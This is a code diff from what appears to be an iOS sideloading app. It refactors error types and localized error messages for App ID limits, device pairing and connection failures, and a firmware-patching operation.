let dateComponentsFormatter = DateComponentsFormatter()
dateComponentsFormatter.maximumUnitCount = 1
dateComponentsFormatter.unitsStyle = .full
let remainingTime = dateComponentsFormatter.string(from: dateComponents)!
let remainingTimeMessage = String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
message = baseMessage + " " + remainingTimeMessage
message = baseMessage + " "
}
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: expirationDate)
let dateFormatter = DateComponentsFormatter()
dateFormatter.maximumUnitCount = 1
dateFormatter.unitsStyle = .full
let remainingTime = dateFormatter.string(from: dateComponents)!
message += String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
return message
default: return nil
@@ -107,7 +245,7 @@ extension MinimuxerError: LocalizedError {
case .NoDevice:
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
case .NoConnection:
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi. This could mean an invalid pairing.", comment: "")
case .PairingFile:
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
@@ -137,9 +275,9 @@ extension MinimuxerError: LocalizedError {
case .CreateAfc:
return self.createService(name: "AFC")
case .RwAfc:
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
case .InstallApp:
return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
return NSLocalizedString("AFC was unable to manage files on the device. This usually means an invalid pairing.", comment: "")
case .InstallApp(let message):
return NSLocalizedString("Unable to install the app: \(message.toString())", comment: "")
case .UninstallApp:
return NSLocalizedString("Unable to uninstall the app", comment: "")

View File

@@ -25,22 +25,38 @@ protocol PatchAppContext
var error: Error? { get }
}
enum PatchAppError: LocalizedError
extension PatchAppError
{
case unsupportedOperatingSystemVersion(OperatingSystemVersion)
var errorDescription: String? {
switch self
{
case .unsupportedOperatingSystemVersion(let osVersion):
var osVersionString = "\(osVersion.majorVersion).\(osVersion.minorVersion)"
if osVersion.patchVersion != 0
{
osVersionString += ".\(osVersion.patchVersion)"
enum Code: Int, ALTErrorCode, CaseIterable {
typealias Error = PatchAppError
case unsupportedOperatingSystemVersion
}
static func unsupportedOperatingSystemVersion(_ osVersion: OperatingSystemVersion) -> PatchAppError {
PatchAppError(code: .unsupportedOperatingSystemVersion, osVersion: osVersion)
}
}
struct PatchAppError: ALTLocalizedError {
let code: Code
var errorTitle: String?
var errorFailure: String?
var osVersion: OperatingSystemVersion?
var errorFailureReason: String {
switch self.code {
case .unsupportedOperatingSystemVersion:
let osVersionString: String
if let osVersion = self.osVersion?.stringValue {
osVersionString = NSLocalizedString("iOS", comment: "") + " " + osVersion
} else {
osVersionString = NSLocalizedString("your device's iOS version", comment: "")
}
let errorDescription = String(format: NSLocalizedString("The OTA download URL for iOS %@ could not be determined.", comment: ""), osVersionString)
return errorDescription
return String(format: NSLocalizedString("The OTA download URL for %@ could not be determined.", comment: ""), osVersionString)
}
}
}
@@ -82,7 +98,9 @@ final class PatchAppOperation: ResultOperation<Void>
return
}
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
guard let resignedApp = self.context.resignedApp else {
return self.finish(.failure(OperationError.invalidParameters("PatchAppOperation.main: self.context.resignedApp is nil")))
}
self.progressHandler?(self.progress, NSLocalizedString("Downloading iOS firmware...", comment: ""))

View File

@@ -439,7 +439,7 @@ private extension PatchViewController
do
{
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown }
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown() }
_ = try result.get()
if var patchedApps = UserDefaults.standard.patchedApps, let index = patchedApps.firstIndex(of: bundleIdentifier)

Some files were not shown because too many files have changed in this diff Show More